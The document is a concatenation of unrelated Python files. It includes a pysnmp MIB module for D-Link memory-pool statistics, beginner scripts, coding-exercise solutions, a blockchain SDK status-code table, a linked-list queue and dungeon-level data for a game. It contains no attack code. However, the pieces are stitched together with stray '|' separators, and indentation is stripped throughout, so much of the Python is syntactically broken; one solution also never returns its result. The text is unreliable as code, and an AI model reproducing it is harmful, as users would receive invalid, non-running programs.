MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, ObjectIdentity, Gauge32, NotificationType, TimeTicks, IpAddress, ModuleIdentity, iso, Bits, Counter64, Counter32, MibIdentifier, Integer32 = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Unsigned32", "ObjectIdentity", "Gauge32", "NotificationType", "TimeTicks", "IpAddress", "ModuleIdentity", "iso", "Bits", "Counter64", "Counter32", "MibIdentifier", "Integer32")
TruthValue, DisplayString, TextualConvention, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "TruthValue", "DisplayString", "TextualConvention", "RowStatus")
myMemoryMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35))
myMemoryMIB.setRevisions(('2003-10-14 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: myMemoryMIB.setRevisionsDescriptions(('Initial version of this MIB module.',))
if mibBuilder.loadTexts: myMemoryMIB.setLastUpdated('200310140000Z')
if mibBuilder.loadTexts: myMemoryMIB.setOrganization('D-Link Crop.')
if mibBuilder.loadTexts: myMemoryMIB.setContactInfo(' http://support.dlink.com')
if mibBuilder.loadTexts: myMemoryMIB.setDescription('This module defines my system mibs.')
class Percent(TextualConvention, Integer32):
description = 'An integer that is in the range of a percent value.'
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 100)
myMemoryPoolMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1))
myMemoryPoolUtilizationTable = MibTable((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1), )
if mibBuilder.loadTexts: myMemoryPoolUtilizationTable.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUtilizationTable.setDescription('A table of memory pool utilization entries. Each of the objects provides a general idea of how much of the memory pool has been used over a given period of time.')
myMemoryPoolUtilizationEntry = MibTableRow((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1), ).setIndexNames((0, "MY-MEMORY-MIB", "myMemoryPoolIndex"))
if mibBuilder.loadTexts: myMemoryPoolUtilizationEntry.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUtilizationEntry.setDescription('An entry in the memory pool utilization table.')
myMemoryPoolIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolIndex.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolIndex.setDescription('An index that uniquely represents a Memory Pool.')
myMemoryPoolName = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolName.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolName.setDescription('A textual name assigned to the memory pool. This object is suitable for output to a human operator')
myMemoryPoolCurrentUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 3), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolCurrentUtilization.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolCurrentUtilization.setDescription('This is the memory pool utilization currently.')
myMemoryPoolLowestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 4), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolLowestUtilization.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolLowestUtilization.setDescription('This is the memory pool utilization when memory used least.')
myMemoryPoolLargestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 5), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolLargestUtilization.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolLargestUtilization.setDescription('This is the memory pool utilization when memory used most.')
myMemoryPoolSize = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolSize.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolSize.setDescription('This is the size of physical memory .')
myMemoryPoolUsed = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolUsed.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUsed.setDescription('This is the memory size that has been used.')
myMemoryPoolFree = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myMemoryPoolFree.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolFree.setDescription('This is the memory size that is free.')
myMemoryPoolWarning = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 9), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myMemoryPoolWarning.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolWarning.setDescription('The first warning of memory pool.')
myMemoryPoolCritical = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 1, 1, 10), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myMemoryPoolCritical.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolCritical.setDescription('The second warning of memory pool.')
myNodeMemoryPoolTable = MibTable((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2), )
if mibBuilder.loadTexts: myNodeMemoryPoolTable.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolTable.setDescription("A table of node's memory pool utilization entries. Each of the objects provides a general idea of how much of the memory pool has been used over a given period of time.")
myNodeMemoryPoolEntry = MibTableRow((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1), ).setIndexNames((0, "MY-MEMORY-MIB", "myNodeMemoryPoolIndex"))
if mibBuilder.loadTexts: myNodeMemoryPoolEntry.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolEntry.setDescription("An entry in the node's memory pool utilization table.")
myNodeMemoryPoolIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolIndex.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolIndex.setDescription("An index that uniquely represents a node's Memory Pool.")
myNodeMemoryPoolName = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolName.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolName.setDescription("A textual name assigned to the node's memory pool. This object is suitable for output to a human operator")
myNodeMemoryPoolCurrentUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 3), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolCurrentUtilization.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolCurrentUtilization.setDescription("This is the node's memory pool utilization currently.")
myNodeMemoryPoolLowestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 4), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolLowestUtilization.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolLowestUtilization.setDescription("This is the node's memory pool utilization when memory used least.")
myNodeMemoryPoolLargestUtilization = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 5), Percent()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolLargestUtilization.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolLargestUtilization.setDescription("This is the node's memory pool utilization when memory used most.")
myNodeMemoryPoolSize = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolSize.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolSize.setDescription("This is the size of the node's physical memory .")
myNodeMemoryPoolUsed = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolUsed.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolUsed.setDescription("This is the node's memory size that has been used.")
myNodeMemoryPoolFree = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: myNodeMemoryPoolFree.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolFree.setDescription("This is the node's memory size that is free.")
myNodeMemoryPoolWarning = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 9), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myNodeMemoryPoolWarning.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolWarning.setDescription("This is the first warning of the node's memory.")
myNodeMemoryPoolCritical = MibTableColumn((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 1, 2, 1, 10), Percent()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: myNodeMemoryPoolCritical.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolCritical.setDescription("This is the second warning of the node's memory.")
myMemoryMIBConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2))
myMemoryMIBCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 1))
myMemoryMIBGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2))
myMemoryMIBCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 1, 1)).setObjects(("MY-MEMORY-MIB", "myMemoryPoolUtilizationMIBGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
myMemoryMIBCompliance = myMemoryMIBCompliance.setStatus('current')
if mibBuilder.loadTexts: myMemoryMIBCompliance.setDescription('The compliance statement for entities which implement the My Memory MIB')
myMemoryPoolUtilizationMIBGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2, 1)).setObjects(("MY-MEMORY-MIB", "myMemoryPoolIndex"), ("MY-MEMORY-MIB", "myMemoryPoolName"), ("MY-MEMORY-MIB", "myMemoryPoolCurrentUtilization"), ("MY-MEMORY-MIB", "myMemoryPoolLowestUtilization"), ("MY-MEMORY-MIB", "myMemoryPoolLargestUtilization"), ("MY-MEMORY-MIB", "myMemoryPoolSize"), ("MY-MEMORY-MIB", "myMemoryPoolUsed"), ("MY-MEMORY-MIB", "myMemoryPoolFree"), ("MY-MEMORY-MIB", "myMemoryPoolWarning"), ("MY-MEMORY-MIB", "myMemoryPoolCritical"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
myMemoryPoolUtilizationMIBGroup = myMemoryPoolUtilizationMIBGroup.setStatus('current')
if mibBuilder.loadTexts: myMemoryPoolUtilizationMIBGroup.setDescription('A collection of objects providing memory pool utilization to a My agent.')
myNodeMemoryPoolMIBGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 171, 10, 97, 2, 35, 2, 2, 2)).setObjects(("MY-MEMORY-MIB", "myNodeMemoryPoolIndex"), ("MY-MEMORY-MIB", "myNodeMemoryPoolName"), ("MY-MEMORY-MIB", "myNodeMemoryPoolCurrentUtilization"), ("MY-MEMORY-MIB", "myNodeMemoryPoolLowestUtilization"), ("MY-MEMORY-MIB", "myNodeMemoryPoolLargestUtilization"), ("MY-MEMORY-MIB", "myNodeMemoryPoolSize"), ("MY-MEMORY-MIB", "myNodeMemoryPoolUsed"), ("MY-MEMORY-MIB", "myNodeMemoryPoolFree"), ("MY-MEMORY-MIB", "myNodeMemoryPoolWarning"), ("MY-MEMORY-MIB", "myNodeMemoryPoolCritical"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
myNodeMemoryPoolMIBGroup = myNodeMemoryPoolMIBGroup.setStatus('current')
if mibBuilder.loadTexts: myNodeMemoryPoolMIBGroup.setDescription("A collection of objects providing node's memory pool utilization to a My agent.")
mibBuilder.exportSymbols("MY-MEMORY-MIB", myNodeMemoryPoolCritical=myNodeMemoryPoolCritical, myNodeMemoryPoolName=myNodeMemoryPoolName, myMemoryMIBCompliance=myMemoryMIBCompliance, PYSNMP_MODULE_ID=myMemoryMIB, myMemoryMIB=myMemoryMIB, myNodeMemoryPoolFree=myNodeMemoryPoolFree, myMemoryPoolLowestUtilization=myMemoryPoolLowestUtilization, myMemoryPoolCurrentUtilization=myMemoryPoolCurrentUtilization, myNodeMemoryPoolUsed=myNodeMemoryPoolUsed, myMemoryPoolIndex=myMemoryPoolIndex, myMemoryPoolName=myMemoryPoolName, myNodeMemoryPoolCurrentUtilization=myNodeMemoryPoolCurrentUtilization, Percent=Percent, myNodeMemoryPoolWarning=myNodeMemoryPoolWarning, myMemoryMIBGroups=myMemoryMIBGroups, myMemoryPoolUsed=myMemoryPoolUsed, myNodeMemoryPoolLargestUtilization=myNodeMemoryPoolLargestUtilization, myNodeMemoryPoolEntry=myNodeMemoryPoolEntry, myMemoryPoolUtilizationTable=myMemoryPoolUtilizationTable, myMemoryPoolMIBObjects=myMemoryPoolMIBObjects, myMemoryMIBConformance=myMemoryMIBConformance, myMemoryPoolLargestUtilization=myMemoryPoolLargestUtilization, myMemoryPoolUtilizationMIBGroup=myMemoryPoolUtilizationMIBGroup, myNodeMemoryPoolSize=myNodeMemoryPoolSize, myMemoryPoolWarning=myMemoryPoolWarning, myMemoryPoolUtilizationEntry=myMemoryPoolUtilizationEntry, myMemoryPoolSize=myMemoryPoolSize, myMemoryPoolCritical=myMemoryPoolCritical, myMemoryPoolFree=myMemoryPoolFree, myNodeMemoryPoolLowestUtilization=myNodeMemoryPoolLowestUtilization, myNodeMemoryPoolIndex=myNodeMemoryPoolIndex, myNodeMemoryPoolTable=myNodeMemoryPoolTable, myNodeMemoryPoolMIBGroup=myNodeMemoryPoolMIBGroup, myMemoryMIBCompliances=myMemoryMIBCompliances)
|
for i in range(1,9):
print(i)
a=2
b=1
print(a,b)
#print a
|
secret_number = 9
guess_count = 0
guess_limit = 3
while guess_count < guess_limit:
guess = int(input('GUESS: '))
guess_count += 1
if guess == secret_number:
print('YOU WON!')
break
else:
print("SORRY YOU DID NOT GUESS THE CORRECT WORD") |
class Employee:
company = "Google"
salary = 100
location = "Delhi"
@classmethod
def changeSalary(cls,sal):
cls.salary = sal
print(f"The salary of the employee is {cls.salary}")
e = Employee()
e.changeSalary(455)
print(e.salary)
Employee.salary = 500
print(Employee.salary) |
def get_children(S, root, parent):
"""returns the children from following the
green edges"""
return [n for n, e in S[root].items()
if ((not n == parent) and
(e == 'green'))]
d = get_children(
{'a':{'b':1},
'b':{'c':1},
'c':{'d':1},
'd':{'e':1}
}, 'a','b')
print(d) |
# -*- coding:utf-8 -*-
##############################################################
# Created Date: Tuesday, December 29th 2020
# Contact Info: luoxiangyong01@gmail.com
# Author/Copyright: Mr. Xiangyong Luo
##############################################################
def writeTest(msg):
print(msg)
def writeTest1(msg):
print(msg) |
l = [{'key': 300}, {'key': 200}, {'key': 100}]
print(l)
l.sort(key = lambda x: x['key'])
print(l)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
class MappingDocuments(object):
def __init__(self):
self.work_dir = None
self.download_path = None
self.ole_path = None
self.id = None
self.case_id = None
self.case_name = None
self.evdnc_id = None
self.evdnc_name = None
self.doc_id = None
self.doc_type = None
self.doc_type_sub = None
self.full_path = None
self.path_with_ext = None
self.name = None
self.ext = None
self.creation_time = None
self.last_access_time = None
self.last_written_time = None
self.original_size = None
self.sha1_hash = None
self.parent_full_path = None
self.is_fail = None
self.fail_code = None
self.exclude_user_id = None
#metadata
self.has_metadata = None
self.title = None
self.subject = None
self.author = None
self.tags = None
self.explanation = None
self.lastsavedby = None
self.lastprintedtime = None
self.createdtime = None
self.lastsavedtime = None
self.comment = None
self.revisionnumber = None
self.category = None
self.manager = None
self.company = None
self.programname = None
self.totaltime = None
self.creator = None
self.trapped = None
#content
self.has_content = None
self.content = None
self.content_size = None
self.is_damaged = None
self.has_exif = None
|
num_0 = [
[1, 1, 1],
[1, 0, 1],
[1, 0, 1],
[1, 0, 1],
[1, 1, 1]
]
num_1 = [
[0, 1, 0],
[0, 1, 0],
[0, 1, 0],
[0, 1, 0],
[0, 1, 0]
]
num_2 = [
[1, 1, 1],
[0, 0, 1],
[1, 1, 1],
[1, 0, 0],
[1, 1, 1]
]
num_3 = [
[1, 1, 1],
[0, 0, 1],
[1, 1, 1],
[0, 0, 1],
[1, 1, 1]
]
num_4 = [
[1, 0, 1],
[1, 0, 1],
[1, 1, 1],
[0, 0, 1],
[0, 0, 1]
]
num_5 = [
[1, 1, 1],
[1, 0, 0],
[1, 1, 1],
[0, 0, 1],
[1, 1, 1]
]
num_6 = [
[1, 1, 1],
[1, 0, 0],
[1, 1, 1],
[1, 0, 1],
[1, 1, 1]
]
num_7 = [
[1, 1, 1],
[1, 0, 1],
[0, 0, 1],
[0, 0, 1],
[0, 0, 1]
]
num_8 = [
[1, 1, 1],
[1, 0, 1],
[1, 1, 1],
[1, 0, 1],
[1, 1, 1]
]
num_9 = [
[1, 1, 1],
[1, 0, 1],
[1, 1, 1],
[0, 0, 1],
[1, 1, 1]
]
alpha_s = [
[0, 1, 1],
[1, 0, 0],
[1, 1, 1],
[0, 0, 1],
[1, 1, 0]
]
|
class Solution(object):
def addBinary(self, a, b):
"""
:type a: str
:type b: str
:rtype: str
"""
n = max(len(a), len(b))
a = a.zfill(n)
b = b.zfill(n)
carry = 0
answer = []
for i in range(n - 1, -1, -1):
if a[i] == '1':
carry += 1
if b[i] == '1':
carry += 1
if carry % 2 == 1:
answer.append('1')
else:
answer.append('0')
carry //= 2
if carry == 1:
answer.append('1')
answer.reverse() |
info = {
"UNIT_NUMBERS": {
"nulle": 0,
"viena": 1,
"viens": 1,
"divas": 2,
"divi": 2,
"trīs": 3,
"četras": 4,
"četri": 4,
"piecas": 5,
"pieci": 5,
"sešas": 6,
"seši": 6,
"septiņas": 7,
"septiņi": 7,
"astoņas": 8,
"astoņi": 8,
"deviņas": 9,
"deviņi": 9
},
"DIRECT_NUMBERS": {
"desmit": 10
},
"TENS": {},
"HUNDREDS": {},
"BIG_POWERS_OF_TEN": {
"miljoni": 1000000,
"miljardi": 1000000000,
"biljoni": 1000000000000,
"biljardi": 1000000000000000
},
"SKIP_TOKENS": [],
"USE_LONG_SCALE": False
}
|
class Application:
def __init__(self,expaid,url,status,currentStatus,personid,oppid):
self.id = expaid
self.url=url
self.status=status
self.currentStatus=currentStatus
self.personid=personid
self.oppid=oppid
|
n = []
while True:
try:
i = float(input('Enter a number or Enter to finish: '))
except:
break
else:
n.append(i)
print(f'Numbers: {n}')
print(f'''Count: {len(n)}
Sum: {sum(n)}
Highest: {max(n)}
Lowest: {min(n)}
Mean: {sum(n)/len(n)}
''') |
class Node:
def __init__(self, data=None):
self.__data = data
self.__next = None
@property
def data(self):
return self.__data
@data.setter
def data(self, data):
self.__data = data
@property
def next(self):
return self.__next
@next.setter
def next(self, n):
self.__next = n
class LQueue:
def __init__(self):
self.front = None
self.rear = None
def empty(self):
if self.front is None:
return True
else:
return False
def enqueue(self, data):
new_node = Node(data)
if self.empty(): # 이 조건문이 없을 경우 데이터가 없을 때 에러 발생
self.front = new_node
self.rear = new_node
return
self.rear.next = new_node
self.rear = new_node
def dequeue(self):
if self.empty():
return
if self.front is self.rear: # 이 조건문이 없을 경우, 데이터가 하나일 때 에러 발생
self.rear = self.rear.next
cur = self.front
self.front = self.front.next
return cur.data
def peek(self):
if self.empty():
return
return self.front.data
if __name__ == '__main__':
q = LQueue()
q.enqueue(1)
q.enqueue(2)
q.enqueue(3)
q.enqueue(4)
q.enqueue(5)
while not q.empty():
print(q.dequeue())
|
# Description: Color unit cell edges black. The settings for controlling the unit cell color are hard to find.
# Source: placeHolder
"""
cmd.do('# show the unit cell;')
cmd.do('show cell;')
cmd.do('color black, ${1:1lw9};')
cmd.do('# color by atom with carbons colored green,')
cmd.do('util.${2:cbag};')
cmd.do('set cgo_line_width, 2.5;')
cmd.do('png ${3:testCell3}.png, ${4:1600},${5:1600};${6:600};${7:0}')
"""
cmd.do('# show the unit cell;')
cmd.do('show cell;')
cmd.do('color black, 1lw9;')
cmd.do('# color by atom with carbons colored green,')
cmd.do('util.cbag;')
cmd.do('set cgo_line_width, 2.5;')
cmd.do('png testCell3.png, 1600,1600;600;0')
|
value = 1
end = 10
while (value < end):
print(value)
value = value + 1
if (value == 5):
break |
"""
>>> from mlbase.event import event_manager
>>> @event_manager.on("A")
... def _():
... print('Hello')
>>> @event_manager.on("B")
... def _():
... print('World')
>>> event_manager.emit("A")
Hello
>>> event_manager.emit("B")
World
"""
class EventManager:
def __init__(self):
self._event_dict = {}
self._finished = False
def emit(self, key, *args, **kwargs):
return self._event_dict[key](*args, **kwargs)
def on(self, key):
def _exec(func):
self._event_dict[key] = func
return _exec
event_manager = EventManager()
|
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# l-1: 可复用性较差, 没有返回
def fab(max):
n, a, b = 0, 0, 1
while n < max:
print(b)
a, b = b, a + b
n = n + 1
fab(5)
print("-------1------ ")
# l-2: 内存占用
def fab2(max):
n, a, b = 0, 0, 1
L = []
while n < max:
L.append(b)
a, b = b, a + b
n = n + 1
return L
for n in fab2(5):
print(n)
print("-------2------ ")
# l-3: 自己实现迭代, 不简洁
class fab3(object):
def __init__(self, max):
self.max = max
self.n, self.a, self.b = 0, 0, 1
def __iter__(self):
return self
def __next__(self):
if self.n < self.max:
r = self.b
self.a, self.b = self.b, self.a + self.b
self.n = self.n + 1
return r
raise StopIteration()
for n in fab3(5):
print(n)
print("-------3------ ")
# l-4: yield 版本, fab4是方法, fab4(n)是实例generator
def fab4(max):
n, a, b = 0, 0, 1
while n < max:
yield b
a, b = b, a + b
n = n + 1
for n in fab4(5):
print(n)
|
pala = ('APRENDER',
'PROGRAMAR',
'LINGUAGEM',
'PYTHON',
'CURSO',
'GRATIS',
'ESTUDAR',
'PRATICAR',
'TRABALHAR',
'MERCADO',
'PROGRAMADOR',
'FUTURO')
for p in pala:
print(f'\nNa palavra {p} temos', end=' ')
for letra in p:
if letra.lower() in 'aeiou':
print(f'{letra}', end=' ') |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
FISCO BCOS/Python-SDK is a python client for FISCO BCOS2.0 (https://github.com/FISCO-BCOS/)
FISCO BCOS/Python-SDK is free software: you can redistribute it and/or modify it under the
terms of the MIT License as published by the Free Software Foundation. This project is
distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Thanks for
authors and contributors of eth-abi, eth-account, eth-hash,eth-keys, eth-typing, eth-utils,
rlp, eth-rlp , hexbytes ... and relative projects
'''
class TransactionStatusCode:
"""
the common transaction retcode
"""
status_code_to_message = {}
status_code_to_message[1] = "Unknown"
status_code_to_message[2] = "Bad RLP"
status_code_to_message[3] = "Invalid format"
status_code_to_message[4] = "The contract to deploy is too long(or input data is too long)"
status_code_to_message[5] = "Invalid signature"
status_code_to_message[6] = "Invalid nonce"
status_code_to_message[7] = "Not enough cash"
status_code_to_message[8] = "Input data is too long"
status_code_to_message[9] = "Block gas limit reached"
status_code_to_message[10] = "Bad instruction"
status_code_to_message[11] = "Bad jump destination"
status_code_to_message[12] = "Out-of-gas during EVM execution"
status_code_to_message[13] = "Out of stack"
status_code_to_message[14] = "Stack underflow"
status_code_to_message[15] = "Nonce check fail"
status_code_to_message[16] = "Block limit check fail"
status_code_to_message[17] = "Filter check fail"
status_code_to_message[18] = "No deploy permission"
status_code_to_message[19] = "No call permission"
status_code_to_message[20] = "No tx permission"
status_code_to_message[21] = "Precompiled error"
status_code_to_message[22] = "Revert instruction"
status_code_to_message[23] = "Invalid zero signature format"
status_code_to_message[24] = "Address already used"
status_code_to_message[25] = "Permission denied"
status_code_to_message[26] = "Call address error"
status_code_to_message[27] = "Gas overflow"
status_code_to_message[28] = "Transaction pool is full"
status_code_to_message[29] = "Transaction refused"
status_code_to_message[30] = "The contract has been frozen"
status_code_to_message[31] = "The account has been frozen"
status_code_to_message[10000] = "Transaction already known"
status_code_to_message[10001] = "Transaction already in chain"
status_code_to_message[10002] = "Invalid chain id"
status_code_to_message[10003] = "Invalid group id"
status_code_to_message[10004] = "The request doesn't belong to the grou"
status_code_to_message[10005] = "Malformed transaction"
status_code_to_message[10006] = "Exceeded the group transaction pool capacity limit"
@staticmethod
def get_error_message(status):
"""
get message according to status
"""
if status != 0 and status in TransactionStatusCode.status_code_to_message.keys():
return TransactionStatusCode.status_code_to_message[status]
return None
|
class Solution:
def maxProfit(self, prices: List[int]) -> int:
if not prices:
return 0
profit = 0
buy = 9999999999999
for i,j in enumerate (prices):
if j<buy:
buy = j
else:
if j>buy:
profit = max(profit, j-buy)
return profit
|
################################################################################
level_number = 13
dungeon_name = 'The Tower'
wall_style = 'Mangar'
monster_difficulty = 6
goes_down = False
entry_position = (255, 255)
phase_door = False
level_teleport = [
(11, True),
(12, True),
(13, True),
(14, False),
(15, False),
]
stairs_previous = [(19, 11)]
stairs_next = []
portal_down = []
portal_up = []
teleports = [
((3, 6), (3, 14)),
((10, 19), (10, 7)),
]
encounters = [
((18, 9), (98, 1)),
((16, 11), (98, 1)),
((12, 3), (98, 1)),
((9, 14), (98, 1)),
((8, 20), (98, 1)),
((4, 20), (98, 1)),
((14, 15), (98, 1)),
((21, 20), (98, 1)),
]
messages = [
((7, 9), 'On the wall is etched:\n\nDo not scry,\n the first is lie.'),
((8, 13), "On the wall is etched:\n\nThe One God's\nsecond is surely with."),
((15, 21), 'On the wall is etched:\n\nAs the One God has said, the third is passion if you have love and life.'),
((9, 19), 'On the wall is etched:\n\nIn all the land,\n the fourth is and'),
((12, 11), 'On the wall is etched:\n\nWe speak of One God, eternal is he, his fifth is almost certainly be.'),
((19, 1), 'On the wall is etched:\n\nOn the many levels, several are ancient but the sixth is forever.'),
((21, 0), 'On the wall is etched:\n\nThe One has said that the first man is blessed and the last is damned.'),
((21, 4), 'You smell burning coals...'),
]
specials = [
((12, 19), (45, 255)),
((4, 10), (46, 255)),
]
smoke_zones = []
darkness = [(0, 4), (0, 7), (0, 8), (0, 11), (0, 12), (0, 15), (0, 16), (0, 19), (1, 0), (1, 1), (1, 2), (1, 3), (1, 4), (1, 5), (1, 6), (1, 7), (1, 8), (1, 9), (1, 10), (1, 11), (1, 12), (1, 13), (1, 14), (1, 15), (1, 16), (1, 17), (1, 18), (1, 19), (2, 0), (2, 4), (2, 10), (2, 16), (3, 0), (3, 4), (3, 10), (3, 16), (4, 0), (4, 4), (4, 10), (4, 16), (5, 0), (5, 4), (5, 10), (5, 16), (6, 0), (6, 1), (6, 2), (6, 3), (6, 4), (6, 5), (6, 6), (6, 7), (6, 8), (6, 9), (6, 10), (6, 11), (6, 12), (6, 13), (6, 14), (6, 15), (6, 16), (6, 17), (6, 18), (6, 19), (6, 20), (7, 0), (7, 4), (7, 10), (7, 16), (7, 17), (7, 18), (7, 19), (7, 20), (7, 21), (8, 0), (8, 4), (8, 10), (8, 16), (8, 17), (8, 18), (8, 19), (8, 20), (8, 21), (9, 0), (9, 4), (9, 10), (9, 16), (9, 17), (9, 18), (9, 20), (9, 21), (10, 0), (10, 4), (10, 10), (10, 16), (10, 17), (10, 18), (10, 19), (10, 20), (10, 21), (11, 0), (11, 1), (11, 2), (11, 3), (11, 4), (11, 5), (11, 6), (11, 7), (11, 8), (11, 9), (11, 10), (11, 11), (11, 12), (11, 13), (11, 14), (11, 15), (11, 16), (11, 17), (11, 18), (11, 19), (11, 20), (11, 21), (12, 0), (12, 4), (12, 10), (12, 16), (13, 0), (13, 4), (13, 10), (13, 16), (14, 0), (14, 4), (14, 5), (14, 6), (14, 10), (14, 16), (15, 0), (15, 1), (15, 2), (15, 3), (15, 4), (15, 5), (15, 6), (15, 17), (15, 18), (15, 19), (16, 2), (16, 3), (16, 4), (16, 5), (16, 6), (16, 17), (16, 18), (16, 19), (17, 2), (17, 3), (17, 18), (17, 19), (18, 2), (18, 3), (18, 4), (18, 5), (18, 6), (18, 7), (18, 8), (18, 9), (18, 10), (18, 11), (18, 12), (18, 13), (18, 14), (18, 15), (18, 16), (18, 17), (18, 18), (18, 19), (19, 0), (19, 1), (19, 2), (19, 3), (19, 4), (19, 5), (19, 6), (19, 7), (19, 8), (19, 9), (19, 10), (19, 11), (19, 12), (19, 13), (19, 14), (19, 15), (19, 16), (19, 17), (19, 18), (19, 19), (19, 20), (19, 21), (20, 0), (20, 1), (20, 2), (20, 19), (20, 20), (20, 21), (21, 0), (21, 1), (21, 2), (21, 19), (21, 20), (21, 21)]
antimagic_zones = [(15, 16), (10, 4), (12, 20)]
spinners = [(15, 10), (10, 10)]
